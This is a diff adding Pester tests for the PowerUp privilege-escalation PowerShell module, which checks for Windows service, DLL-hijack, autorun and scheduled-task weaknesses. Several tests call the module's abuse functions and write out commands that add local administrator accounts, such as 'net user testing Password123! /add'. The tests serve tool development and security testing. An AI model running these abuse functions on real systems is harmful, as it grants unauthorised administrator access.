Privesc/PowerUp Pester tests

1 files changed, 485 insertions, 0 deletions

diff --git a/Tests/Privesc.tests.ps1 b/Tests/Privesc.tests.ps1
new file mode 100644
index 0000000..d1461d5
--- /dev/null
+++ b/Tests/Privesc.tests.ps1
@@ -0,0 +1,485 @@
+Set-StrictMode -Version Latest
+
+$TestScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent
+$ModuleRoot = Resolve-Path "$TestScriptRoot\.."
+
+$ModuleManifest = "$ModuleRoot\Privesc\Privesc.psd1"
+Remove-Module [P]rivesc
+Import-Module $ModuleManifest -Force -ErrorAction Stop
+
+# import PowerUp.ps1 manually so we expose the helper functions for testing
+$PowerUpFile = "$ModuleRoot\Privesc\PowerUp.ps1"
+Import-Module $PowerUpFile -Force -ErrorAction Stop
+
+
+
+function Get-RandomName {
+    $r = 1..8 | ForEach-Object{Get-Random -max 26}
+    return ('abcdefghijklmnopqrstuvwxyz'[$r] -join '')
+}
+
+
+########################################################
+#
+# PowerUp helpers functions.
+#
+########################################################
+
+Describe 'Get-ModifiableFile' {
+
+    It 'Should output a file path.' {
+        $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())"
+        $Null | Out-File -FilePath $FilePath -Force
+
+        $Output = Get-ModifiableFile -Path $FilePath
+        $Output | Should Be $FilePath
+
+        Remove-Item -Path $FilePath -Force
+    }
+
+    It 'Should extract a modifiable file specified as an argument in a command string.' {
+        $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())"
+        $Null | Out-File -FilePath $FilePath -Force
+
+        $CmdPath = "'C:\Windows\System32\nonexistent.exe' -i '$FilePath'"
+        
+        $Output = Get-ModifiableFile -Path $FilePath
+        $Output | Should Be $FilePath
+
+        Remove-Item -Path $FilePath -Force
+    }
+
+    It 'Should return no results for a non-existent path.' {
+        $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())"
+
+        $Output = Get-ModifiableFile -Path $FilePath
+        $Output | Should BeNullOrEmpty
+    }
+
+    It 'Should accept a Path over the pipeline.' {
+        $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())"
+
+        $Output = Get-ModifiableFile -Path $FilePath
+        $Output | Should BeNullOrEmpty
+    }
+}
+
+
+########################################################
+#
+# PowerUp service enumeration functions.
+#
+########################################################
+
+Describe 'Get-ServiceUnquoted' {
+
+    It "Should not throw." {
+        {Get-ServiceUnquoted} | Should Not Throw
+    }
+
+    It 'Should return service with a space in an unquoted binPath.' {
+        $ServiceName = Get-RandomName
+        $ServicePath = "C:\Program Files\service.exe"
+
+        sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS"
+        Start-Sleep -Seconds 1
+
+        $Output = Get-ServiceUnquoted | Where-Object { $_.ServiceName -eq $ServiceName }
+        sc.exe delete $ServiceName | Should Match "SUCCESS"
+
+        $Output | Should Not BeNullOrEmpty
+        $Output.ServiceName | Should Be $ServiceName
+        $Output.Path | Should Be $ServicePath
+    }
+
+    It 'Should not return services with a quoted binPath.' {
+        $ServiceName = Get-RandomName
+        $ServicePath = "'C:\Program Files\service.exe'"
+
+        sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS"
+        Start-Sleep -Seconds 1
+
+        $Output = Get-ServiceUnquoted | Where-Object { $_.ServiceName -eq $ServiceName }
+        sc.exe delete $ServiceName | Should Match "SUCCESS"
+
+        $Output | Should BeNullOrEmpty
+    }
+}
+
+
+Describe 'Get-ServiceFilePermission' {
+
+    It 'Should not throw.' {
+        {Get-ServiceFilePermission} | Should Not Throw
+    }
+
+    It 'Should return a service with a modifiable service binary.' {
+        $ServiceName = Get-RandomName
+        $ServicePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + ".exe"
+        $Null | Out-File -FilePath $ServicePath -Force
+
+        sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS"
+
+        $Output = Get-ServiceFilePermission | Where-Object { $_.ServiceName -eq $ServiceName }
+        sc.exe delete $ServiceName | Should Match "SUCCESS"
+        Remove-Item -Path $ServicePath -Force
+
+        $Output | Should Not BeNullOrEmpty
+        $Output.ServiceName | Should Be $ServiceName
+        $Output.Path | Should Be $ServicePath
+    }
+
+    It 'Should not return a service with a non-existent service binary.' {
+        $ServiceName = Get-RandomName
+        $ServicePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + ".exe"
+
+        sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS"
+
+        $Output = Get-ServiceFilePermission | Where-Object { $_.ServiceName -eq $ServiceName }
+        sc.exe delete $ServiceName | Should Match "SUCCESS"
+
+        $Output | Should BeNullOrEmpty        
+    }
+}
+
+
+Describe 'Get-ServicePermission' {
+
+    It 'Should not throw.' {
+        {Get-ServicePermission} | Should Not Throw
+    }
+
+    It 'Should return a modifiable service.' {
+        $Output = Get-ServicePermission | Where-Object { $_.ServiceName -eq 'Dhcp'}
+        $Output | Should Not BeNullOrEmpty
+    }
+}
+
+
+Describe 'Get-ServiceDetail' {
+
+    It 'Should return results for a valid service.' {
+        $Output = Get-ServiceDetail -ServiceName Dhcp
+        $Output | Should Not BeNullOrEmpty
+    }
+
+    It 'Should return not results for an invalid service.' {
+        $Output = Get-ServiceDetail -ServiceName NonExistent123
+        $Output | Should BeNullOrEmpty
+    }
+}
+
+
+
+########################################################
+#
+# PowerUp service abuse functions.
+#
+########################################################
+
+Describe 'Invoke-ServiceAbuse' {
+    
+    BeforeEach {
+        $ServicePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + ".exe"
+        $Null = sc.exe create "PowerUpService" binPath= $ServicePath
+    }
+
+    AfterEach {
+        $Null = sc.exe delete "PowerUpService"
+        $Null = $(net user john /delete >$Null 2>&1)
+    }
+
+    It 'Should abuse a vulnerable service to add a local administrator with default options.' {
+        $Output = Invoke-ServiceAbuse -ServiceName "PowerUpService"
+        $Output.Command | Should Match "net"
+
+        if( -not ($(net localgroup Administrators) -match "john")) {
+            Throw "Local user 'john' not created."
+        }
+    }
+
+    It 'Should accept a service name on the pipeline.' {
+        $Output = "PowerUpService" | Invoke-ServiceAbuse
+        $Output.Command | Should Match "net"
+
+        if( -not ($(net localgroup Administrators) -match "john")) {
+            Throw "Local user 'john' not created."
+        }
+    }
+
+    It 'User should not be created for a non-existent service.' {
+        $Output = Invoke-ServiceAbuse -ServiceName "NonExistentService456"
+        $Output.Command | Should Match "Not found"
+
+        if( ($(net localgroup Administrators) -match "john")) {
+            Throw "Local user 'john' should not have been created for non-existent service."
+        }
+    }
+
+    It 'Should accept custom user/password arguments.' {
+        $Output = Invoke-ServiceAbuse -ServiceName "PowerUpService" -Username PowerUp -Password 'PASSword123!'
+        $Output.Command | Should Match "net"
+
+        if( -not ($(net localgroup Administrators) -match "PowerUp")) {
+            Throw "Local user 'PowerUp' not created."
+        }
+        $Null = $(net user PowerUp /delete >$Null 2>&1)
+    }
+
+    It 'Should accept a custom command.' {
+        $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())"
+        $Output = Invoke-ServiceAbuse -ServiceName "PowerUpService" -Command "net user testing Password123! /add"
+
+        if( -not ($(net user) -match "testing")) {
+            Throw "Custom command failed."
+        }
+        $Null = $(net user testing /delete >$Null 2>&1)
+    }
+}
+
+
+Describe 'Install-ServiceBinary' {
+
+    BeforeEach {
+        $ServicePath = "$(Get-Location)\powerup.exe"
+        $Null | Out-File -FilePath $ServicePath -Force
+        $Null = sc.exe create "PowerUpService" binPath= $ServicePath
+    }
+
+    AfterEach {
+        $Null = Invoke-ServiceStop -ServiceName PowerUpService
+        $Null = sc.exe delete "PowerUpService"
+        $Null = $(net user john /delete >$Null 2>&1)
+        if(Test-Path "$(Get-Location)\powerup.exe") {
+            Remove-Item -Path "$(Get-Location)\powerup.exe" -Force
+        }
+        if(Test-Path "$(Get-Location)\powerup.exe.bak") {
+            Remove-Item -Path "$(Get-Location)\powerup.exe.bak" -Force
+        }
+    }
+
+    It 'Should abuse a vulnerable service binary to add a local administrator with default options.' {
+
+        $Output = Install-ServiceBinary -ServiceName "PowerUpService"
+        $Output.Command | Should Match "net"
+
+        $Null = Invoke-ServiceStart -ServiceName PowerUpService
+        Start-Sleep -Seconds 3
+        if( -not ($(net localgroup Administrators) -match "john")) {
+            Throw "Local user 'john' not created."
+        }
+        $Null = Invoke-ServiceStop -ServiceName PowerUpService
+
+        $Output = Restore-ServiceBinary -ServiceName PowerUpService
+        "$(Get-Location)\powerup.exe.bak" | Should Not Exist
+    }
+
+    It 'Should accept a service name on the pipeline.' {
+
+        $Output = "PowerUpService" | Install-ServiceBinary
+        $Output.Command | Should Match "net"
+
+        $Null = Invoke-ServiceStart -ServiceName PowerUpService
+        Start-Sleep -Seconds 3
+        if( -not ($(net localgroup Administrators) -match "john")) {
+            Throw "Local user 'john' not created."
+        }
+        $Null = Invoke-ServiceStop -ServiceName PowerUpService
+
+        $Output = Restore-ServiceBinary -ServiceName PowerUpService
+        "$(Get-Location)\powerup.exe.bak" | Should Not Exist
+    }
+
+    It 'User should not be created for a non-existent service.' {
+        $Output = Install-ServiceBinary -ServiceName "NonExistentService456"
+        $Output.Command | Should Match "Not found"
+    }
+
+    It 'Should accept custom user/password arguments.' {
+        $Output = Install-ServiceBinary -ServiceName "PowerUpService" -Username PowerUp -Password 'PASSword123!'
+        $Output.Command | Should Match "net"
+
+        $Null = Invoke-ServiceStart -ServiceName PowerUpService
+        Start-Sleep -Seconds 3
+        if( -not ($(net localgroup Administrators) -match "PowerUp")) {
+            Throw "Local user 'PowerUp' not created."
+        }
+        $Null = $(net user PowerUp /delete >$Null 2>&1)
+
+        $Output = Restore-ServiceBinary -ServiceName PowerUpService
+        "$(Get-Location)\powerup.exe.bak" | Should Not Exist
+    }
+
+    It 'Should accept a custom command.' {
+
+        $Output = Install-ServiceBinary -ServiceName "PowerUpService" -Command "net user testing Password123! /add"
+        $Output.Command | Should Match "net"
+
+        $Null = Invoke-ServiceStart -ServiceName PowerUpService
+        Start-Sleep -Seconds 3
+        if( -not ($(net user) -match "testing")) {
+            Throw "Custom command failed."
+        }
+        $Null = $(net user testing /delete >$Null 2>&1)
+
+        $Output = Restore-ServiceBinary -ServiceName PowerUpService
+        "$(Get-Location)\powerup.exe.bak" | Should Not Exist
+    }
+}
+
+
+########################################################
+#
+# PowerUp .dll hijacking functions.
+#
+########################################################
+
+Describe 'Find-DLLHijack' {
+    It 'Should return results.' {
+        $Output = Find-DLLHijack
+        $Output | Should Not BeNullOrEmpty
+    }
+}
+
+
+Describe 'Find-PathHijack' {
+
+    It 'Should find a hijackable %PATH% folder.' {
+
+        New-Item -Path C:\PowerUpTest\ -ItemType directory -Force
+
+        $OldPath = $Env:PATH
+        $Env:PATH += ';C:\PowerUpTest\'
+
+        $Output = Find-PathHijack | Where-Object {$_.HijackablePath -like "*PowerUpTest*"}
+        $Env:PATH = $OldPath
+        $Output.HijackablePath | Should Be 'C:\PowerUpTest\'
+    }
+}
+
+# won't actually execute on Win8+ with the wlbsctrl.dll method
+Describe 'Write-HijackDll' {
+
+    It 'Should write a .dll that executes a custom command.' {
+
+        Write-HijackDll -OutputFile "$(Get-Location)\powerup.dll" -Command "net user testing Password123! /add"
+        
+        "$(Get-Location)\powerup.dll" | Should Exist
+        "$(Get-Location)\debug.bat" | Should Exist
+        Remove-Item -Path "$(Get-Location)\powerup.dll" -Force
+        Remove-Item -Path "$(Get-Location)\debug.bat" -Force
+    }
+}
+
+
+########################################################
+#
+# PowerUp registry checks.
+#
+########################################################
+
+Describe 'Get-RegAlwaysInstallElevated' {
+    It 'Should not throw.' {
+        {Get-ServicePermission} | Should Not Throw
+    }
+}
+
+
+Describe 'Get-RegAutoLogon' {
+    It 'Should not throw.' {
+        {Get-ServicePermission} | Should Not Throw
+    }
+}
+
+
+Describe 'Get-VulnAutoRun' {
+    It 'Should not throw.' {
+        {Get-VulnAutoRun} | Should Not Throw
+    }
+    It 'Should find a vulnerable autorun.' {
+        $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())"
+        $Null | Out-File -FilePath $FilePath -Force
+        Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name PowerUp -Value "vuln.exe -i '$FilePath'"
+
+        $Output = Get-VulnAutoRun | ?{$_.Path -like "*$FilePath*"}
+
+        Remove-Item -Path $FilePath -Force
+        $Null = Remove-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name PowerUp
+        
+        $Output.ModifiableFile | Should Be $FilePath
+    }    
+}
+
+
+########################################################
+#
+# PowerUp misc. checks.
+#
+########################################################
+
+Describe 'Get-VulnSchTask' {
+    It 'Should not throw.' {
+        {Get-VulnSchTask} | Should Not Throw
+    }
+
+    It 'Should find a vulnerable config file for a binary specified in a schtask.' {
+
+        $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())"
+        $Null | Out-File -FilePath $FilePath -Force
+
+        $Null = schtasks.exe /create /tn PowerUp /tr "vuln.exe -i '$FilePath'" /sc onstart /ru System /f
+
+        $Output = Get-VulnSchTask | Where-Object {$_.TaskName -eq 'PowerUp'}
+        $Null = schtasks.exe /delete /tn PowerUp /f
+        Remove-Item -Path $FilePath -Force
+
+        $Output.TaskFilePath | Should Be $FilePath
+    }
+}
+
+
+Describe 'Get-UnattendedInstallFile' {
+    It 'Should not throw.' {
+        {Get-UnattendedInstallFile} | Should Not Throw
+    }
+    It 'Should return a leftover autorun' {
+        $FilePath = Join-Path $Env:WinDir "\System32\Sysprep\unattend.xml"
+
+        $Null | Out-File -FilePath $FilePath -Force
+        $Output = Get-UnattendedInstallFile
+        $Output | Should Not BeNullOrEmpty
+
+        Remove-Item -Path $FilePath -Force
+    }
+}
+
+
+Describe 'Get-Webconfig' {
+    It 'Should not throw.' {
+        {Get-Webconfig} | Should Not Throw
+    }
+}
+
+
+Describe 'Get-ApplicationHost' {
+    It 'Should not throw.' {
+        {Get-ApplicationHost} | Should Not Throw
+    }
+}
+
+
+Describe 'Invoke-AllChecks' {
+    It 'Should return results to stdout.' {
+        $Output = Invoke-AllChecks
+        $Output | Should Not BeNullOrEmpty
+    }
+    It 'Should produce a HTML report with -HTMLReport.' {
+        $Output = Invoke-AllChecks -HTMLReport
+        $Output | Should Not BeNullOrEmpty
+
+        $HtmlReportFile = "$($Env:ComputerName).$($Env:UserName).html"
+
+        $HtmlReportFile | Should Exist
+        Remove-Item -Path $HtmlReportFile -Force
+    }
+}